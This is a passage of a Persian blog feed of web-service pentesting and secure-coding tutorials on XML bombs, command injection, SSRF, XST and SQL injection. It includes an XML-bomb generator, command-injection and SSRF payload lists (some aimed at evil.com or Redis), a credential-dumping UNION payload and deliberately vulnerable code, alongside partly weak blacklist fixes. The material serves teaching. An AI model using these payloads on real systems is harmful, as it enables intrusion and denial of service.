&lt;results&gt;
    &lt;result&gt;Explode in 3...2...1...&amp;boom;&lt;/result&gt;
&lt;/results&gt;نمونه کد آسیب پذیر xml bomb:XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
settings.ValidationType = ValidationType.None;
settings.MaxCharactersFromEntities = 999999999999999;

XmlReader reader = XmlReader.Create(new StringReader(xml), settings);
while (reader.Read()) { }

return string.Empty;برای generate نمودن payload برای آسیب پذیری xml bomb میتوانید از این اسکریپت استفاده کنید.#!/usr/bin/python3

NUM = 55000

def main():
	entity = &#039;A&#039; * NUM
	refs = &#039;&amp;x;&#039; * NUM
	templ = &#039;&#039;&#039;&lt;?xml version=&amp;quot1.0&amp;quot?&gt;
	&lt;!DOCTYPE DoS [
	  &lt;!ENTITY x &amp;quot{entity}&amp;quot&gt;
	]&gt;
	&lt;DoS&gt;{entityReferences}&lt;/DoS&gt;
	&#039;&#039;&#039;.format(entity=entity, entityReferences=refs)

	print(templ)

if __name__ == &#039;__main__&#039;:
	main()برای آسیب پذیری command injection میتوانید از payload های زیر استفاده کنید.در لینوکس;id;
;id
|id
|/usr/bin/id
|id|در ویندوز| dir
; dir
%26%26 dir
%26%26dirادامه payload هابرای تست آسیب پذیری XST می توانید به جای استفاده از اسکریپت که در فیلم گفته شد می توانید از ترمینال این دستور اجرا کنید.curl -X TRACE -H &amp;quotCookie: name=value&amp;quot 127.0.0.1اگر مقدار تنظیم شده برای name در cookie پاسخ درخواست مشاهده شد آسیب پذیری xst وجود دارد.برای تست SSRF و اکسپلویت نمودن آن راه های زیاد و خلاقانه ای وجود دارد.در فیلم توانستیم با SSRF به صورت خیلی ساده port scan انجام بدهیم.یکی دیگه از راه های تست و اکسپلویت استفاده از دیگر پروتکل ها به جای http است.مثال های دیگر عبارتنند از:file://path/to/file
sftp://evil.com:11111/
tftp://evil.com:12346/TESTUDPPACKET
ldap://localhost:11211/%0astats%0aquit
gopher://127.0.0.1:4242/DATA
dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/htmlهمچنین برای تست ssrf می توانید از قابلیت burp collaborator در نرم افزار burp و همچنین ssrfmap استفاده کنیددر این قسمت تا اسلاید ۱۷ پیش رفتیم.اگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.پیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود.</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Sun, 07 Jun 2020 12:22:21 +0430</pubDate>
            </item>
                    <item>
                <title>آسیب پذیری های xxe,xpath injection,api sql injection در وبسرویس ها</title>
                <link>https://virgool.io/zeroclick/%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D9%87%D8%A7%DB%8C-xxexpath-injectionapi-sql-injection-nfudsdnvjlv4</link>
                <description>از سری آموزش های تصویری تست نفوذ وبسرویس، این قسمت با یک سری از آسیب پذیری های رایج در وبسرویس مثل xxe و xpath injection و api sql injection آشنا می شویمهمچنین با ابزار های جمع آوری اطلاعات که در قسمت پیش با آن ها آشنا شده بودیم سعی می کنیم فایل wsdl پیدا کنیم.لیست ابزار هایی که این قسمت با آن به صورت مختصر کار می کنیم عبارتنند از:burpwfuzzwizdlerدر این قسمت تا اسلاید ۱۳ پیش رفتیم.اگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.پیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود.</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Sun, 22 Mar 2020 12:57:01 +0430</pubDate>
            </item>
                    <item>
                <title>مقدمه ای بر تست نفوذ وبسرویس</title>
                <link>https://virgool.io/zeroclick/%D9%85%D9%82%D8%AF%D9%85%D9%87-%D8%A7%DB%8C-%D8%A8%D8%B1-%D8%AA%D8%B3%D8%AA-%D9%86%D9%81%D9%88%D8%B0-%D9%88%D8%A8%D8%B3%D8%B1%D9%88%DB%8C%D8%B3-os12uh6bbyy4</link>
                <description>از سری آموزش های تصویری تست نفوذ وبسرویس، این قسمت با مفهوم وبسرویس و api و انواع وبسرویس آشنا می شویم.همچنین با یک سری از ابزار های جمع آوری اطلاعات و ابزار های کار تست انواع وبسرویس آشنا می شویم.لیست ابزار هایی که این قسمت با آن به صورت مختصر کار می کنیم عبارتنند از:opendoorwfuzzpostmansoapuiwizdlerburpدر این قسمت تا اسلاید 10 پیش رفتیماگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.پی نوشتقسمت ۲ - آسیب پذیری های xxe,xpath injection,api sql injection در وبسرویس هاقسمت ۳ - آسیب پذیری های xml bomb,command injection, xst, ssrf در وبسرویس هاقسمت ۴ - آسیب پذیری های CORS,SOME,JWT,IDOR در وبسرویس هاپیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود. </description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Wed, 04 Mar 2020 12:10:22 +0330</pubDate>
            </item>
                    <item>
                <title>چگونه از Command Injection جلوگیری کنیم؟</title>
                <link>https://virgool.io/securecoding/%DA%86%DA%AF%D9%88%D9%86%D9%87-%D8%A7%D8%B2-command-injection-%D8%AC%D9%84%D9%88%DA%AF%DB%8C%D8%B1%DB%8C-%DA%A9%D9%86%DB%8C%D9%85-f1z2e3drxvxc</link>
                <description>از سری مطالب آموزش کد نویسی امن در وب، این قسمت آسیب پذیری command injection و روش های جلوگیری از آن را بررسی می کنیم.بعضی اوقات از دستورات سیستم عامل به صورت مستقیم و یا غیر مستقیم در بستر وب استفاده می شود.اگر ورود های دستورات سیستم عامل به صورت صحیح و کامل بررسی نشود ممکن است مهاجم با ورودی های متفاوت دستورات مورد نظر خود را اجرا کند.این آسیب پذیری بسیار گسترده و خطرناک است چون امکان دسترسی به کلیه منابع سرور اپلیکیشن و یا حتی سایر سرور ها را فراهم می کند.portswigger.net در تصویر بالا مهاجم با استفاده از آسیب پذیری command injection توانسته است اسکریپت bash را سمت سرور اجرا و دسترسی به سرور اپلیکشین بگیرد./**
* Get the code from a GET input
* Example - http://example.com/?code=phpinfo();
*/
$code = $_GET[&#039;code&#039;];

/**
* Unsafely evaluate the code
* Example - phpinfo();
*/
eval&#40;&amp;quot\$code;&amp;quot&#41;;برای مثال در برنامه زیر ورودی دستور eval بدون هیچ بررسی از کاربر توسط پارامتر code گرفته می شود.http://example.com/?code=phpinfo();یا http://example.com/?code=system&#40;&#039;whoami&#039;&#41;;حال اگر مهاجم دستورات زبان و یا سیستم عامل را وارد کند می گوییم command injection رخ داده است.روش های جلوگیری در زبان PHPمثال 1)تکه کد زیر آدرس کاربر را دریافت و به دستور ping می دهد.&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;Command Injection&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;form action=&amp;quot&amp;quot method=&amp;quotget&amp;quot&gt;
    Ping address: &lt;input type=&amp;quottext&amp;quot name=&amp;quotaddr&amp;quot&gt;
    &lt;input type=&amp;quotsubmit&amp;quot&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;?php
#Excute Command
echo shell_exec&#40;&amp;quotping &amp;quot.$_GET[&#039;addr&#039;]&#41;;
?&gt;می توانیم در ورودی علاوه بر آدرس با استفاده از جداکننده هایی مانند ; و یا &amp;&amp; دستورات دیگر مورد نظر خود را وارد و اجرا کنیم.مثال 2)در نمونه دیگر خروجی دستور به صورت مستقیم به کاربر نشان داده نمی شود.&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;Command Injection&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;form action=&amp;quot&amp;quot method=&amp;quotget&amp;quot&gt;
    Ping address: &lt;input type=&amp;quottext&amp;quot name=&amp;quotaddr&amp;quot&gt;
    &lt;input type=&amp;quotsubmit&amp;quot&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;?php
#Excute Command
shell_exec&#40;&amp;quotping &amp;quot.$_GET[&#039;addr&#039;]&#41;;
?&gt;در این مورد می توانیم با استفاده از دستور های ایجاد کننده تاخییر مانند sleep آسیب پذیری را شناسایی کنیم.راه حل 1)در زبان php می توانیم با استفاده از تابع escapeshellcmd از ورود دستورات دیگر جلوگیری می کنیم.&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;Command Injection&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;form action=&amp;quot&amp;quot method=&amp;quotget&amp;quot&gt;
    Ping address: &lt;input type=&amp;quottext&amp;quot name=&amp;quotaddr&amp;quot&gt;
    &lt;input type=&amp;quotsubmit&amp;quot&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;?php
#Excute Command
echo shell_exec&#40;escapeshellcmd(&amp;quotping &amp;quot.$_GET[&#039;addr&#039;]&#41;);
?&gt;راه حل 2)روش دیگر جلوگیری، تعریف نوع ورودی کاربر است.به این صورت که اگر مانند مثال بالا کاربر باید ip خود را وارد اپلیکیشن کند.ما باید نوع ورودی کاربر را بررسی و در صورت صحیح بودن آن را به تابع مورد نظر پاس دهیم.&lt;?php
function isAllowed($cmd){
    // If the ip is matched, return true
    if(filter_var($cmd, FILTER_VALIDATE_IP)) {
        return true;
    }

    return false;
}
#Excute Command
if (isAllowed($_GET[&#039;addr&#039;])) {
    echo shell_exec&#40;&amp;quotping &amp;quot.$_GET[&#039;addr&#039;]&#41;;
}
?&gt;روش های جلوگیری در ASP.NETمثال 1)در برنامه زیر ورودی دستور ping از کاربر گرفته می شود. و نتیجه به کاربر نشان داده می شود.&lt;%@ Page Language=&amp;quotC#&amp;quot Debug=&amp;quottrue&amp;quot Trace=&amp;quotfalse&amp;quot %&gt;
&lt;%@ Import Namespace=&amp;quotSystem.Diagnostics&amp;quot %&gt;
&lt;%@ Import Namespace=&amp;quotSystem.IO&amp;quot %&gt;
&lt;script Language=&amp;quotc#&amp;quot runat=&amp;quotserver&amp;quot&gt;
void Page_Load(object sender, EventArgs e){
}
string ExcuteCmd(string arg){
	ProcessStartInfo psi = new ProcessStartInfo();
	psi.FileName = &amp;quotcmd.exe&amp;quot
	psi.Arguments = &amp;quot/c ping -n 2 &amp;quot + arg;
	psi.RedirectStandardOutput = true;
	psi.UseShellExecute = false;
	Process p = Process.Start(psi);
	StreamReader stmrdr = p.StandardOutput;
	string s = stmrdr.ReadToEnd();
	stmrdr.Close();
	return s;
}
void cmdExe_Click(object sender, System.EventArgs e){
	Response.Write(Server.HtmlEncode(ExcuteCmd(addr.Text)));
}


&lt;HTML&gt;
&lt;HEAD&gt;
&lt;title&gt;ASP.NET Ping Application&lt;/title&gt;
&lt;/HEAD&gt;
&lt;body&gt;
&lt;form id=&amp;quotcmd&amp;quot method=&amp;quotpost&amp;quot runat=&amp;quotserver&amp;quot&gt;
&lt;asp:Label id=&amp;quotlblText&amp;quot runat=&amp;quotserver&amp;quot&gt;Command:&lt;/asp:Label&gt;
&lt;asp:TextBox id=&amp;quotaddr&amp;quot runat=&amp;quotserver&amp;quot Width=&amp;quot250px&amp;quot&gt;
&lt;/asp:TextBox&gt;
&lt;asp:Button id=&amp;quottesting&amp;quot runat=&amp;quotserver&amp;quot Text=&amp;quotexcute&amp;quot =&amp;quotcmdExe_Click&amp;quot&gt;
&lt;/asp:Button&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/HTML&gt;مثال 2)در برنامه زیر ورودی دستور ping از کاربر گرفته می شود. و نتیجه به کاربر نشان داده نمی شود.&lt;%@ Page Language=&amp;quotC#&amp;quot Debug=&amp;quottrue&amp;quot Trace=&amp;quotfalse&amp;quot %&gt;
&lt;%@ Import Namespace=&amp;quotSystem.Diagnostics&amp;quot %&gt;
&lt;%@ Import Namespace=&amp;quotSystem.IO&amp;quot %&gt;
&lt;script Language=&amp;quotC#&amp;quot runat=&amp;quotserver&amp;quot&gt;
string ExcuteCmd(string arg){
  ProcessStartInfo psi = new ProcessStartInfo();
  psi.FileName = &amp;quotcmd.exe&amp;quot
  psi.Arguments = &amp;quot/c ping -n 2 &amp;quot + arg;
  psi.RedirectStandardOutput = true;
  psi.UseShellExecute = false;
  Process p = Process.Start(psi);
  StreamReader stmrdr = p.StandardOutput;
  string s = stmrdr.ReadToEnd();
  stmrdr.Close();
  return s;
}
void Page_Load(object sender, System.EventArgs e){
  string addr = Request.QueryString[&amp;quotaddr&amp;quot];
  Server.HtmlEncode(ExcuteCmd(addr));
}


&lt;HTML&gt;
&lt;HEAD&gt;
&lt;title&gt;ASP.NET Ping Application&lt;/title&gt;
&lt;/HEAD&gt;
&lt;body&gt;
&lt;form id=&amp;quotcmd&amp;quot method=&amp;quotGET&amp;quot runat=&amp;quotserver&amp;quot&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/HTML&gt;راه حل 1)ورودی کاربر حتما باید از نوع ip باشد و به غیر از ip های داخلی مانند 127.0.0.1 باشد.&lt;%@ Page Language=&amp;quotC#&amp;quot Debug=&amp;quottrue&amp;quot Trace=&amp;quotfalse&amp;quot %&gt;
&lt;%@ Import Namespace=&amp;quotSystem.Diagnostics&amp;quot %&gt;
&lt;%@ Import Namespace=&amp;quotSystem.IO&amp;quot %&gt;
&lt;script Language=&amp;quotc#&amp;quot runat=&amp;quotserver&amp;quot&gt;
    void Page_Load(object sender, EventArgs e){
    }
    Boolean Blacklist(string address)
    {
        string[] black_array = { &amp;quot192.168.1.1&amp;quot, &amp;quot127.0.0.1&amp;quot };
        Match match = Regex.Match(address, @&amp;quot^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$&amp;quot);
        if (match.Success)
        {
            if (black_array.Contains(address))
            {
                return false;
            }
            else
            {
                return true;
            }
        }
        return false;

    }
    string ExcuteCmd(string arg){
        if (Blacklist(arg)) {
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = &amp;quotcmd.exe&amp;quot
            psi.Arguments = &amp;quot/c ping -n 2 &amp;quot + arg;
            psi.RedirectStandardOutput = true;
            psi.UseShellExecute = false;
            Process p = Process.Start(psi);
            StreamReader stmrdr = p.StandardOutput;
            string s = stmrdr.ReadToEnd();
            stmrdr.Close();
            return s;
        }
        else
        {
            return &amp;quotAccess Denied&amp;quot
        }

    }
    void cmdExe_Click(object sender, System.EventArgs e){
        Response.Write(Server.HtmlEncode(ExcuteCmd(addr.Text)));
    }


&lt;HTML&gt;
&lt;HEAD&gt;
&lt;title&gt;ASP.NET Ping Application&lt;/title&gt;
&lt;/HEAD&gt;
&lt;body&gt;
&lt;form id=&amp;quotcmd&amp;quot method=&amp;quotpost&amp;quot runat=&amp;quotserver&amp;quot&gt;
&lt;asp:Label id=&amp;quotlblText&amp;quot runat=&amp;quotserver&amp;quot&gt;Command:&lt;/asp:Label&gt;
&lt;asp:TextBox id=&amp;quotaddr&amp;quot runat=&amp;quotserver&amp;quot Width=&amp;quot250px&amp;quot&gt;
&lt;/asp:TextBox&gt;
&lt;asp:Button id=&amp;quottesting&amp;quot runat=&amp;quotserver&amp;quot Text=&amp;quotexcute&amp;quot =&amp;quotcmdExe_Click&amp;quot&gt;
&lt;/asp:Button&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/HTML&gt;راه حل 2)ورودی کاربر نباید شامل برخی از کاراکتر ها مانند &amp; نباشد.&lt;%@ Page Language=&amp;quotC#&amp;quot Debug=&amp;quottrue&amp;quot Trace=&amp;quotfalse&amp;quot %&gt;
&lt;%@ Import Namespace=&amp;quotSystem.Diagnostics&amp;quot %&gt;
&lt;%@ Import Namespace=&amp;quotSystem.IO&amp;quot %&gt;
&lt;script Language=&amp;quotc#&amp;quot runat=&amp;quotserver&amp;quot&gt;
    void Page_Load(object sender, EventArgs e){
    }
    String SafeString(string address)
    {
        char[] separators = new char[]{&#039; &#039;,&#039;;&#039;,&#039;,&#039;,&#039;\r&#039;,&#039;\t&#039;,&#039;\n&#039;,&#039;&amp;&#039;};

        string[] temp = address.Split(separators, StringSplitOptions.RemoveEmptyEntries);
        address = String.Join(&amp;quot\n&amp;quot, temp);
        return address;
    }
    Boolean Blacklist(string address)
    {
        address = SafeString(address); 
        string[] black_array = { &amp;quot192.168.1.1&amp;quot, &amp;quot127.0.0.1&amp;quot };
        if (black_array.Contains(address))
        {
            return false;
        }
        else
        {

            return true;
        }
    }
    string ExcuteCmd(string arg){
        if (Blacklist(arg)) {
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = &amp;quotcmd.exe&amp;quot
            psi.Arguments = &amp;quot/c ping -n 2 &amp;quot + arg;
            psi.RedirectStandardOutput = true;
            psi.UseShellExecute = false;
            Process p = Process.Start(psi);
            StreamReader stmrdr = p.StandardOutput;
            string s = stmrdr.ReadToEnd();
            stmrdr.Close();
            return s;
        }
        else
        {
            return &amp;quotAccess Denied&amp;quot
        }

    }
    void cmdExe_Click(object sender, System.EventArgs e){
        Response.Write(Server.HtmlEncode(ExcuteCmd(SafeString(addr.Text))));
    }


&lt;HTML&gt;
&lt;HEAD&gt;
&lt;title&gt;ASP.NET Ping Application&lt;/title&gt;
&lt;/HEAD&gt;
&lt;body&gt;
&lt;form id=&amp;quotcmd&amp;quot method=&amp;quotpost&amp;quot runat=&amp;quotserver&amp;quot&gt;
&lt;asp:Label id=&amp;quotlblText&amp;quot runat=&amp;quotserver&amp;quot&gt;Command:&lt;/asp:Label&gt;
&lt;asp:TextBox id=&amp;quotaddr&amp;quot runat=&amp;quotserver&amp;quot Width=&amp;quot250px&amp;quot&gt;
&lt;/asp:TextBox&gt;
&lt;asp:Button id=&amp;quottesting&amp;quot runat=&amp;quotserver&amp;quot Text=&amp;quotexcute&amp;quot =&amp;quotcmdExe_Click&amp;quot&gt;
&lt;/asp:Button&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/HTML&gt;روش های جلوگیری در JAVAمثال 1)در تکه کد زیر ورودی کاربر به دسترسی کنترل نمی شود@Runtime@getRuntime().exec&#40;&#039;rm -fr /your-important-dir/&#039;&#41;و می توان از دستورات سیستم عامل استفاده کرد.package org.t246osslab.easybuggy.vulnerabilities;

import java.io.IOException;
import java.util.Locale;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang.math.NumberUtils;
import org.t246osslab.easybuggy.core.servlets.AbstractServlet;

@SuppressWarnings(&amp;quotserial&amp;quot)
@WebServlet(urlPatterns = { &amp;quot/ognleijc&amp;quot })
public class OGNLExpressionInjectionServlet extends AbstractServlet {

    @Override
    protected void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {

        Locale locale = req.getLocale();
        StringBuilder bodyHtml = new StringBuilder();
        Object value = null;
        String errMessage = &amp;quot&amp;quot
        OgnlContext ctx = new OgnlContext();
        String expression = req.getParameter(&amp;quotexpression&amp;quot);
        if (!StringUtils.isBlank(expression)) {
            try {
                Object expr = Ognl.parseexpression.replaceAll(&amp;quotMath\\.&amp;quot, &amp;quot@Math@&amp;quot));
                value = Ognl.getValue(expr, ctx);
            } catch (OgnlException e) {
                if (e.getReason() != null) {
                    errMessage = e.getReason().getMessage();
                }
                log.debug(&amp;quotOgnlException occurs: &amp;quot, e);
            } catch (Exception e) {
                log.debug(&amp;quotException occurs: &amp;quot, e);
            } catch (Error e) {
                log.debug(&amp;quotError occurs: &amp;quot, e);
            }
        }

        bodyHtml.append(&amp;quot&lt;form action=\&amp;quotognleijc\&amp;quot method=\&amp;quotpost\&amp;quot&gt;&amp;quot);
        bodyHtml.append(getMsg(&amp;quotmsg.enter.math.expression&amp;quot, locale));
        bodyHtml.append(&amp;quot&lt;br&gt;&lt;br&gt;&amp;quot);
        if (expression == null) {
            bodyHtml.append(&amp;quot&lt;input type=\&amp;quottext\&amp;quot name=\&amp;quotexpression\&amp;quot size=\&amp;quot80\&amp;quot maxlength=\&amp;quot300\&amp;quot&gt;&amp;quot);
        } else {
            bodyHtml.append(&amp;quot&lt;input type=\&amp;quottext\&amp;quot name=\&amp;quotexpression\&amp;quot size=\&amp;quot80\&amp;quot maxlength=\&amp;quot300\&amp;quot value=\&amp;quot&amp;quot
                    + encodeForHTML(expression) + &amp;quot\&amp;quot&gt;&amp;quot);
        }
        bodyHtml.append(&amp;quot = &amp;quot);
        if (value != null &amp;&amp; NumberUtils.isNumber(value.toString())) {
            bodyHtml.append(value);
        }
        bodyHtml.append(&amp;quot&lt;br&gt;&lt;br&gt;&amp;quot);
        bodyHtml.append(&amp;quot&lt;input type=\&amp;quotsubmit\&amp;quot value=\&amp;quot&amp;quot + getMsg(&amp;quotlabel.calculate&amp;quot, locale) + &amp;quot\&amp;quot&gt;&amp;quot);
        bodyHtml.append(&amp;quot&lt;br&gt;&lt;br&gt;&amp;quot);
        if (value == null &amp;&amp; expression != null) {
            bodyHtml.append(getErrMsg(&amp;quotmsg.invalid.expression&amp;quot, new String[] { errMessage }, locale));
        }
        bodyHtml.append(getInfoMsg(&amp;quotmsg.note.commandinjection&amp;quot, locale));
        bodyHtml.append(&amp;quot&lt;/form&gt;&amp;quot);

        responseToClient(req, res, getMsg(&amp;quottitle.commandinjection.page&amp;quot, locale), bodyHtml.toString());
    }
}مثال 2)در تکه کد زیر ورودی کاربر بدون هیچ کنترلی به run.exec پاس داده می شود.package org.joychou.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;

/**
 * @author  JoyChou (joychou@joychou.org)
 * @date    2018.05.24
 * @desc    Java code execute
 * @fix     过滤造成命令执行的参数
 */

@Controller
@RequestMapping(&amp;quot/rce&amp;quot)
public class Rce {

    @RequestMapping(&amp;quot/exec&amp;quot)
    @ResponseBody
    public String CommandExec(HttpServletRequest request) {
        String cmd = request.getParameter(&amp;quotcmd&amp;quot).toString();
        Runtime run = Runtime.getRuntime();
        String lineStr = &amp;quot&amp;quot

        try {
            Process p = run.exec&#40;cmd&#41;;
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                lineStr += tmpStr + &amp;quot\n&amp;quot
                System.out.println(tmpStr);
            }

            if (p.waitFor() != 0) {
                if (p.exitValue() == 1)
                    return &amp;quotcommand exec failed&amp;quot
            }

            inBr.close();
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
            return &amp;quotExcept&amp;quot
        }
        return lineStr;
    }
}راه حل 1)می توان برای ورودی های کاربر whitelist تعریف کرد تا هر دستوری قابلیت اجرا نداشته باشد.package org.joychou.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;

/**
 * @author  JoyChou (joychou@joychou.org)
 * @fix     RezaDuty 
 */

@Controller
@RequestMapping(&amp;quot/rce&amp;quot)
public class Rce {

    @RequestMapping(&amp;quot/exec&amp;quot)
    @ResponseBody
    public String CommandExec(HttpServletRequest request) {
    	
    	
    	String lineStr = &amp;quot&amp;quot
        String cmd = request.getParameter(&amp;quotcmd&amp;quot).toString();
        if(WhiteCommand(cmd)) {
	        Runtime run = Runtime.getRuntime();
	        
	
	        try {
	            Process p = run.exec&#40;cmd&#41;;
	            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
	            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
	            String tmpStr;
	
	            while ((tmpStr = inBr.readLine()) != null) {
	                lineStr += tmpStr + &amp;quot\n&amp;quot
	                System.out.println(tmpStr);
	            }
	
	            if (p.waitFor() != 0) {
	                if (p.exitValue() == 1)
	                    return &amp;quotcommand exec failed&amp;quot
	            }
	
	            inBr.close();
	            in.close();
	        } catch (Exception e) {
	            e.printStackTrace();
	            return &amp;quotExcept&amp;quot
	        }
	       
        }
        return lineStr;
    }
    public Boolean WhiteCommand(String cmd) {
    	String[] splited = cmd.split(&amp;quot\\s+&amp;quot);
    	String [] whitelist = {&amp;quotecho&amp;quot,&amp;quotwhoami&amp;quot };
    	if(Arrays.asList(whitelist).contains(splited[0])){
    	    return true;
    	}else {
    		return false;
    	}
    }
}راه حل 2)می توان نوع ورودی کاربر را مشخص و کنترل کرد.package org.joychou.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;

/**
 * @author  JoyChou (joychou@joychou.org)
 * @fix     RezaDuty 
 */

@Controller
@RequestMapping(&amp;quot/rce&amp;quot)
public class Rce {

    @RequestMapping(&amp;quot/exec&amp;quot)
    @ResponseBody
    public String CommandExec(HttpServletRequest request) {
    	
    	
    	String lineStr = &amp;quot&amp;quot
        String ip = request.getParameter(&amp;quotaddress&amp;quot).toString();
        
	        Runtime run = Runtime.getRuntime();
	        
	    	if(validate(ip) &amp;&amp; WhiteAddress(ip)) {
		        try {
		            Process p = run.exec&#40;&amp;quotping -n 1 &amp;quot+ip&#41;;
		            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
		            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
		            String tmpStr;
		
		            while ((tmpStr = inBr.readLine()) != null) {
		                lineStr += tmpStr + &amp;quot\n&amp;quot
		                System.out.println(tmpStr);
		            }
		
		            if (p.waitFor() != 0) {
		                if (p.exitValue() == 1)
		                    return &amp;quotcommand exec failed&amp;quot
		            }
		
		            inBr.close();
		            in.close();
		        } catch (Exception e) {
		            e.printStackTrace();
		            return &amp;quotExcept&amp;quot
		        }
		} 
	        return lineStr;
		
	    }
	    public static boolean validate(final String ip) {
	        String PATTERN = &amp;quot^((0|1\\d?\\d?|2[0-4]?\\d?|25[0-5]?|[3-9]\\d?)\\.){3}(0|1\\d?\\d?|2[0-4]?\\d?|25[0-5]?|[3-9]\\d?)$&amp;quot

	        return ip.matches(PATTERN);
	    }
    public Boolean WhiteAddress(String ip) {
    	String [] whitelist = {&amp;quot127.0.0.1&amp;quot,&amp;quot192.168.1.1&amp;quot };
    	if(!Arrays.asList(whitelist).contains(ip)){
    	    return true;
    	}else {
    		return false;
    	}
    }
}نسخه انگلیسی و کامل تر این مطالب در اینجا وجود دارد.نمونه Source Code با PHPنمونه Source Code با ASP.NETنمونه Source Code با Javaمنابعmemoryleaks.irsecurecoding.irbawetech.comمعذرت بابت کم و کاستی های فراوان این مطلبخیلی خوشحال میشوم نظرات خود را اینجا بگذاریدبا تشکر از شما</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Wed, 06 Nov 2019 21:51:54 +0330</pubDate>
            </item>
                    <item>
                <title>چگونه از SQL Injection جلوگیری کنیم؟</title>
                <link>https://virgool.io/@rezaduty/%DA%86%D8%B7%D9%88%D8%B1-%D8%A7%D8%B2-sql-injection-%D8%AC%D9%84%D9%88%DA%AF%DB%8C%D8%B1%DB%8C-%DA%A9%D9%86%DB%8C%D9%85-lrvmwadsliwa</link>
                <description>از سری مطالب دوره آموزشی کد نویسی امن در وب این قسمت به سراغ injection از نوع sql injection می رویم.برای جلوگیری از هرگونه آسیب پذیری ابتدا باید آسیب پذیری را متوجه شد پس ابتدا مروری بر ساز و کار های این آسیب پذیری خواهیم داشت و سپس چند نمونه کد آسیب پذیر در php و asp.net و java بررسی می کنیم.در انتها چند روش برای جلوگیری از این حمله را در کد بررسی می کنیم.زبان پرس و جو sql راهی برای مدیریت داده های ذخیره شده در پایگاه داده های رابطه ای است.به این معنا که می توانیم در هر بستری از جمله وب داده هارا ذخیره، ویرایش و یا تغییر دهیم.گاهی اوقات احراز هویت کاربران، نمایش محتوای وبسایت و یا عکس های کاربران در پایگاه داده ذخیره می شود و توسط sql در مسیر های مختلف به کار برده می شود.حال فرض کنید attacker در پرس و جوی sql، دستکاری و یا Inject کند.در اینجا می گوییم sql injection رخ داده است.برای مثال در تصویر بالا attacker به جای مقدار دسته بندی محصولات(Gifts) این payload را وارد می کند.&#039; UNION SELECT username, password FROM users--در نتیحه علاوه بر اطلاعات محصول دسته بندی Gifts تمام username و password های جدول users را هم در خروجی نمایش می دهد.حملات sql injection نوع های مختلفی دارد. چون به ازای هر query نوشته شده ممکن است حمله جدیدی رخ دهد.با این حال به صورت کلی 3 دسته بندی زیر را می توان نام برد.1-بر مبنای خطا یا Error Basedمثال معروفی برای این روش وجود دارد.صفحه ای از وبسایتی برای نمایش جزییات خبر از id آن خبر استفاده می کند؛https://web.tld/news?id=100با توجه به مقدار id، داده های دیگری از پایگاه داده خوانده و نمایش داده می شود.SELECT title,context FROM tbl_news WHERE id =&#039;$id&#039;2-بر مبنای اجتماع یا Union Basedدر این روش علاوه بر اطلاعات دریافت شده توسط پرس و جوی توسعه دهنده با دستور Union اطلاعات دیگری از پایگاه داده استخراج می شود.http://fakesite.com/report.php?id=23برای مثال فرض کنید صفحه ای وجود دارد که براساس id موجودیت های سیستم گزارشی از وضیعت آن موجودیت چاپ می کند.اگر مقدار id را به همراه دستور زیر وارد کنیم، می 